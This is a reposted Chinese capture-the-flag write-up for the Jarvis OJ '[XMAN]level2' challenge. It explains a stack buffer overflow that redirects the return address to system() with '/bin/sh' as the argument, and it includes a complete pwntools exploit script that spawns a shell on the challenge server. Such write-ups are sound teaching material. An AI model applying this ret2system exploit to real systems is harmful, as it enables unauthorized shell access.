码迷,mamicode.com
首页 > 编程语言 > 详细

Jarvis OJ - [XMAN]level2 - Writeup

时间:2017-11-26 17:54:28      阅读:251      评论:0      收藏:0      [点我收藏+]

标签:signature   rom   arc   rac   http   iso   复制   utf-8   ima   

简单利用“/bin/sh”夺权

技术分享图片

 

 简单看一下

技术分享图片

放到ida中发现了“/bin/sh”串,和system函数,可以利用==

技术分享图片

 

 所以只要在vuln函数返回时跳转到system函数,同时添加参数“/bin/sh”就可以实现啦

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

io = remote("pwn2.jarvisoj.com",9878)
elf = ELF("./level2")

sys_addr = elf.symbols["system"]
bin_addr = elf.search("/bin/sh").next()

payload = a*(0x88 + 0x4) #辣鸡填充值
payload += p32(sys_addr)   #覆盖返回地址到system函数
payload += p32(0xdeadbeef)  #随意填写system函数调用结束的返回地址
payload += p32(bin_addr)  #system函数的参数,指向“/bin/sh”,实现调用

io.recvline()
io.sendline(payload)
io.interactive()
io.close()

此时程序流程如图

技术分享图片

 

 放成果图

 技术分享图片

其实这种没有PIE保护的程序,很多函数地址可以直接从ida中复制过来,在exp中直接赋值为0x8048···,但是为了增强普适性,均使用symbols函数获得

 


作者:辣鸡小谱尼
出处:http://www.cnblogs.com/WangAoBo/
如有转载,荣幸之至!请随手标明出处;

Jarvis OJ - [XMAN]level2 - Writeup

标签:signature   rom   arc   rac   http   iso   复制   utf-8   ima   

原文地址:http://www.cnblogs.com/ZHijack/p/7899324.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!